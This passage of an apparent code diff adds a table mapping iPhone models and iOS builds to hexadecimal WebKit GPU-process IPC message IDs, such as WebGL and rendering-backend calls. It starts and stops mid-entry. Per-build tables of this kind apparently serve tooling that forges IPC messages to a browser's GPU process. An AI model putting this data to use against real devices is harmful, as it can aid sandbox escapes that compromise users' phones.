RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,2_4_6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G100": { + 